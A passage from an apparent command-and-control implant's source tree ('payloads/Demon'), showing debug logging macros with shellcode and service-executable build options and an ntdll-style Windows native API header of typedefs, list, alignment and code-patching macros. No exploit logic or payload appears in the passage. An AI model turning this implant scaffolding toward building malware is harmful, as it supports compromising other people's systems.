) ( ( WORD ) *( PWORD* )( x ) ) #define HTONS32( x ) __builtin_bswap32( x ) #define HTONS16( x ) __builtin_bswap16( x ) #define IMAGE_SIZE( IM ) \ ( ( ( PIMAGE_NT_HEADERS ) ( IM + ( ( PIMAGE_DOS_HEADER ) IM )->e_lfanew ) )->OptionalHeader.SizeOfImage ) // DEBUG #ifdef DEBUG #if SEND_LOGS #define PRINTF( f, ... ) { DemonPrintf( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { ; } #elif SVC_EXE #define PRINTF( f, ... ) { DbgPrint( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { DbgPrint( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #elif SHELLCODE #define PRINTF( f, ... ) { LogToConsole( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { LogToConsole( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #else #define PRINTF( f, ... ) { printf( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #define PRINTF_DONT_SEND( f, ... ) { printf( "[DEBUG::%s::%d] " f, __FUNCTION__, __LINE__, __VA_ARGS__ ); } #endif #else #define PRINTF( f, ... ) { ; } #define PRINTF_DONT_SEND( f, ... ) { ; } #endif #ifdef DEBUG #if SEND_LOGS #define PUTS( s ) { DemonPrintf( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #define PUTS_DONT_SEND( s ) { ; } #elif SHELLCODE #define PUTS( s ) { LogToConsole( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #define PUTS_DONT_SEND( s ) { LogToConsole( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #else #define PUTS( s ) { printf( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #define PUTS_DONT_SEND( s ) { printf( "[DEBUG::%s::%d] %s\n", __FUNCTION__, __LINE__, s ); } #endif #else #define PUTS( s ) { ; } #define PUTS_DONT_SEND( s ) { ; } #endif #ifdef DEBUG #define PRINT_HEX( b, l ) \ printf( #b ": [%d] [ ", l ); \ for ( int i = 0 ; i < l; i++ ) \ { \ printf( "%02x ", ( ( PUCHAR ) b ) [ i ] ); \ } \ puts( "]" ); #else #define PRINT_HEX( b, l ) {} #endif #endif ================================================ FILE: payloads/Demon/include/common/Native.h ================================================ /* ntdll.h User Mode, 32bit & 64bit version Visual Studio 6.0 - Visual Studio 2010 and MingW compatible Intel C++ Compiler (ICL) 11.x - 12.x preferred (c) 2019 - Rokas Kupstys (c) 2009, 2010, 2011 - Fyyre (c) 2011 - 2012 EP_X0FF (c) 2011 - rndbit version 1.26 ( increment this if changes has global effect ) please mark your changes date begin / date end comments last change 04/01/2012 note: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64. */ #if !defined(_NTDLL_) #define _NTDLL_ #pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used #pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation #pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation #if defined(__ICL) #pragma warning ( disable : 344 ) #endif #pragma pack( push, 8 ) #if defined(__cplusplus) extern "C" { #endif #include #include #if !defined(NTSTATUS) typedef LONG NTSTATUS; typedef NTSTATUS *PNTSTATUS; #endif #if !defined(SECURITY_STATUS) typedef LONG SECURITY_STATUS; #endif #define EXPORT_FN __declspec(dllexport) #define IMPORT_FN __declspec(dllimport) #define PAGE_SIZE 0x1000 #define EXTERNAL extern "C" #ifndef UNREFERENCED_PARAMETER #define UNREFERENCED_PARAMETER(P) (P) #endif #include "ntstatus.h" #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) #define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) #define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) #define ABSOLUTE_TIME(wait) (wait) #define RELATIVE_TIME(wait) (-(wait)) #define NANOSECONDS(nanos) \ (((signed __int64)(nanos)) / 100L) #define MICROSECONDS(micros) \ (((signed __int64)(micros)) * NANOSECONDS(1000L)) #define MILLISECONDS(milli) \ (((signed __int64)(milli)) * MICROSECONDS(1000L)) #define SECONDS(seconds) \ (((signed __int64)(seconds)) * MILLISECONDS(1000L)) #define ARGUMENT_PRESENT(ArgumentPointer) (\ (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) #define RESTORE_LIST(ListEntry) \ ListEntry.Flink = ListEntry.Flink; \ ListEntry.Blink = ListEntry.Blink #define UNLINK(x) (x).Blink->Flink = (x).Flink; \ (x).Flink->Blink = (x).Blink; #define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) #define POI(addr) *(ULONG *)(addr) #define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) #define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) #define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) #define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) #define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) #define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) #define jmp_length(y,x) ((x-y)-5) #define stc_jc(y,x) ((x-y)-7) #define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } #define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } #define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } #define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } #define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) #define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } #define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 #define ASSERT( exp ) ((void) 0) // // The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. // // 31.05.2011 - added the following macros #define SHORT_SIZE (sizeof(USHORT)) #define SHORT_MASK (SHORT_SIZE - 1) #define LONG_SIZE (sizeof(LONG)) #define LONG_MASK (LONG_SIZE - 1) #define LOWBYTE_MASK 0x00FF #define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) #define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) #define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) #define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) // // if MIPS Big Endian, order of bytes is reversed. // #define SHORT_LEAST_SIGNIFICANT_BIT 0 #define SHORT_MOST_SIGNIFICANT_BIT 1 #define LONG_LEAST_SIGNIFICANT_BIT 0 #define LONG_3RD_MOST_SIGNIFICANT_BIT 1 #define LONG_2ND_MOST_SIGNIFICANT_BIT 2 #define LONG_MOST_SIGNIFICANT_BIT 3 //++ // // VOID // RtlStoreUshort ( // PUSHORT ADDRESS // USHORT VALUE // ) // // Routine Description: // // This macro stores a USHORT value in at a particular address, avoiding // alignment faults. // // Arguments: // // ADDRESS - where to store USHORT value // VALUE - USHORT to store // // Return Value: // // none. // //-- #define RtlStoreUshort(ADDRESS,VALUE) \ if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ } \ else { \ *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ } //++ // // VOID // RtlStoreUlong ( // PULONG ADDRESS // ULONG VALUE // ) // // Routine Description: // // This macro stores a ULONG value in at a particular address, avoiding // alignment faults. // // Arguments: // // ADDRESS - where to store ULONG value // VALUE - ULONG to store // // Return Value: // // none. // // Note: // Depending on the machine, we might want to call storeushort in the // unaligned case. // //-- #define RtlStoreUlong(ADDRESS,VALUE) \ if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ } \ else { \ *((PULONG) ADDRESS) = (ULONG) VALUE; \ } //++ // // VOID // RtlRetrieveUshort ( // PUSHORT DESTINATION_ADDRESS // PUSHORT SOURCE_ADDRESS // ) // // Routine Description: // // This macro retrieves a USHORT value from the SOURCE address, avoiding // alignment faults. The DESTINATION address is assumed to be aligned. // // Arguments: // // DESTINATION_ADDRESS - where to store USHORT value // SOURCE_ADDRESS - where to retrieve USHORT value from // // Return Value: // // none. // //-- #define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ } \ else { \ *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ } \ //++ // // VOID // RtlRetrieveUlong ( // PULONG DESTINATION_ADDRESS // PULONG SOURCE_ADDRESS // ) // // Routine Description: // // This macro retrieves a ULONG value from the SOURCE address, avoiding // alignment faults. The DESTINATION address is assumed to be aligned. // // Arguments: // // DESTINATION_ADDRESS - where to store ULONG value // SOURCE_ADDRESS - where to retrieve ULONG value from // // Return Value: // // none. // // Note: // Depending on the machine, we might want to call retrieveushort in the // unaligned case. // //-- #define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ } \ else { \ *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ } //++ // // PCHAR // RtlOffsetToPointer ( // PVOID Base, // ULONG Offset // ) // // Routine Description: // // This macro generates a pointer which points to the byte that is 'Offset' // bytes beyond 'Base'. This is useful for referencing fields within // self-relative data structures. // // Arguments: // // Base - The address of the base of the structure. // // Offset - An unsigned integer offset of the byte whose address is to // be generated. // // Return Value: // // A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. // // //-- #define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) //++ // // ULONG // RtlPointerToOffset ( // PVOID Base, // PVOID Pointer // ) // // Routine Description: // // This macro calculates the offset from Base to Pointer. This is useful // for producing self-relative offsets for structures. // // Arguments: // // Base - The address of the base of the structure. // // Pointer - A pointer to a field, presumably within the structure // pointed to by Base. This value must be larger than that specified // for Base. // // Return Value: // // A ULONG offset from Base to Pointer. // // //-- #define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) // 31.05.2011 - end // // Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. // typedef char CCHAR; typedef short CSHORT; typedef CCHAR *PCCHAR; typedef CSHORT *PCSHORT; typedef ULONG CLONG; typedef ULONG *PCLONG; typedef ULONG LOGICAL; typedef ULONG *PLOGICAL; typedef LONG KPRIORITY; typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING; typedef STRING ANSI_STRING; typedef PSTRING PANSI_STRING; typedef STRING OEM_STRING; typedef PSTRING POEM_STRING; typedef CONST STRING* PCOEM_STRING; typedef struct _CSTRING { USHORT Length; USHORT MaximumLength; CONST char *Buffer; } CSTRING; typedef CSTRING *PCSTRING; #define ANSI_NULL ((CHAR)0) typedef STRING CANSI_STRING; typedef PSTRING PCANSI_STRING; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; typedef struct _STRING32 { USHORT Length; USHORT MaximumLength; ULONG Buffer; } STRING32; typedef STRING32 *PSTRING32; typedef STRING32 UNICODE_STRING32; typedef UNICODE_STRING32 *PUNICODE_STRING32; #define UNICODE_NULL ((WCHAR)0) typedef STRING32 ANSI_STRING32; typedef ANSI_STRING32 *PANSI_STRING32; typedef struct _STRING64 { USHORT Length; USHORT MaximumLength; ULONG_PTR Buffer; } STRING64; typedef STRING64 *PSTRING64; typedef STRING64 UNICODE_STRING64; typedef UNICODE_STRING64 *PUNICODE_STRING64; typedef STRING64 ANSI_STRING64; typedef ANSI_STRING64 *PANSI_STRING64; typedef USHORT RTL_ATOM; typedef RTL_ATOM *PRTL_ATOM; typedef UCHAR KIRQL; typedef KIRQL *PKIRQL; typedef CONST char *PCSZ; typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; #if !defined( _WINNT_ ) typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; #define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) #define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ (PCHAR)(address) - \ (PCHAR)(&((type *)0)->field))) #endif typedef struct _TRIPLE_LIST_ENTRY { struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; struct _TRIPLE_LIST_ENTRY* Blink; } TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; #define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) #ifndef RVATOVA #define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) #endif #ifndef NOP_FUNCTION #define NOP_FUNCTION (void)0 #endif #define PAGED_CODE() NOP_FUNCTION; #if defined(USE_LPC6432) #define LPC_CLIENT_ID CLIENT_ID64 #define LPC_SIZE_T ULONGLONG #define LPC_PVOID ULONGLONG #define LPC_HANDLE ULONGLONG #else #define LPC_CLIENT_ID CLIENT_ID #define LPC_SIZE_T SIZE_T #define LPC_PVOID PVOID #define LPC_HANDLE HANDLE #endif #define OBJ_INHERIT 0x00000002L #define OBJ_HANDLE_TAGBITS 0x00000003L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_FORCE_ACCESS_CHECK 0x00000400L #define OBJ_VALID_ATTRIBUTES 0x000007F2L #define RTL_QUERY_PROCESS_MODULES 0x00000001 #define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 #define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 #define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 #define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 #define RTL_QUERY_PROCESS_LOCKS 0x00000020 #define RTL_QUERY_PROCESS_MODULES32 0x00000040 #define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } //added 20.12.11 typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED) #define ___PROCESSOR_NUMBER_DEFINED typedef struct _PROCESSOR_NUMBER { WORD Group; BYTE Number; BYTE Reserved; } PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; #endif #if _WIN32_WINNT >= 0x0501 #define ANSI_NULL ((CHAR)0) #define UNICODE_NULL ((WCHAR)0) #ifndef UNICODE_STRING_MAX_BYTES #define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) #endif #define UNICODE_STRING_MAX_CHARS (32767) #define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ const WCHAR _variablename ## _buffer[] = _string; \ const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; #endif // _WIN32_WINNT >= 0x0501 #define IsListEmpty(ListHead) \ ((ListHead)->Flink == (ListHead)) #define InitializeListHead(ListHead) (\ (ListHead)->Flink = (ListHead)->Blink = (ListHead)) #define IsListEmpty(ListHead) \ ((ListHead)->Flink == (ListHead)) #define RemoveHeadList(ListHead) \ (ListHead)->Flink;\ {RemoveEntryList((ListHead)->Flink)} #define RemoveTailList(ListHead) \ (ListHead)->Blink;\ {RemoveEntryList((ListHead)->Blink)} // VOID // RemoveEntryList( // IN PLIST_ENTRY Entry // ); #define RemoveEntryList(Entry) {\ PLIST_ENTRY _EX_Blink;\ PLIST_ENTRY _EX_Flink;\ _EX_Flink = (Entry)->Flink;\ _EX_Blink = (Entry)->Blink;\ _EX_Blink->Flink = _EX_Flink;\ _EX_Flink->Blink = _EX_Blink;\ } // VOID // InsertTailList( // IN PLIST_ENTRY ListHead, // IN PLIST_ENTRY Entry // ); #define InsertTailList(ListHead,Entry) {\ PLIST_ENTRY _EX_Blink;\ PLIST_ENTRY _EX_ListHead;\ _EX_ListHead = (ListHead);\ _EX_Blink = _EX_ListHead->Blink;\ (Entry)->Flink = _EX_ListHead;\ (Entry)->Blink = _EX_Blink;\ _EX_Blink->Flink = (Entry);\ _EX_ListHead->Blink = (Entry);\ } // VOID // InsertHeadList( // IN PLIST_ENTRY ListHead, // IN PLIST_ENTRY Entry // ); #define InsertHeadList(ListHead,Entry) {\ PLIST_ENTRY _EX_Flink;\ PLIST_ENTRY _EX_ListHead;\ _EX_ListHead = (ListHead);\ _EX_Flink = _EX_ListHead->Flink;\ (Entry)->Flink = _EX_Flink;\ (Entry)->Blink = _EX_ListHead;\ _EX_Flink->Blink = (Entry);\ _EX_ListHead->Flink = (Entry);\ } // BOOL // COUNT_IS_ALIGNED( // IN DWORD Count, // IN DWORD Pow2 // undefined if this isn't a power of 2. // ); // #define COUNT_IS_ALIGNED(Count,Pow2) \ ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) // BOOL // POINTER_IS_ALIGNED( // IN LPVOID Ptr, // IN DWORD Pow2 // undefined if this isn't a power of 2. // ); // #define POINTER_IS_ALIGNED(Ptr,Pow2) \ ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) #define ROUND_DOWN_COUNT(Count,Pow2) \ ( (Count) & (~((Pow2)-1)) ) #define ROUND_DOWN_POINTER(Ptr,Pow2) \ ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) // If Count is not already aligned, then // round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. // // DWORD // ROUND_UP_COUNT( // IN DWORD Count, // IN DWORD Pow2 // ); #define ROUND_UP_COUNT(Count,Pow2) \ ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) // LPVOID // ROUND_UP_POINTER( // IN LPVOID Ptr, // IN DWORD Pow2 // ); // If Ptr is not already aligned, then round it up until it is. #define ROUND_UP_POINTER(Ptr,Pow2) \ ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) #define ALIGN_BYTE 1 #define ALIGN_CHAR 1 #define ALIGN_DESC_CHAR sizeof(DESC_CHAR) #define ALIGN_DWORD 4 #define ALIGN_LONG 4 #define ALIGN_LPBYTE 4 #define ALIGN_LPDWORD 4 #define ALIGN_LPSTR 4 #define ALIGN_LPTSTR 4 #define ALIGN_LPVOID 4 #define ALIGN_LPWORD 4 #define ALIGN_TCHAR sizeof(TCHAR) #define ALIGN_WCHAR sizeof(WCHAR) #define ALIGN_WORD 2 #define ALIGN_QUAD 8 #define ALIGN_WORST 8 //03.06.2011 - added #define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) //03.06.2011 - end // Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); // 31.05.2011 - added #define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) #define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) #define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) #define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) #define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) #define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) #define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) #define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) #define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) #define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) // 31.05.2011 - end #define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) #define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) // 09.06.2011 - begin //21.12.2011 added #if !defined(_FILESYSTEMFSCTL_) #define _FILESYSTEMFSCTL_ #define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 9 #define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, #define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 13 #define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) #define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) // decommissioned fsctl value 17 // decommissioned fsctl value 18 #define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) #define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_INVALIDATE_VOLUMES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER #define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS #if (_WIN32_WINNT >= 0x0400) #define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER #define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER #define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER #define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER #define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, #define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 31 #define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0500) // decommissioned fsctl value 33 // decommissioned fsctl value 34 #define FSCTL_FIND_FILES_BY_SID 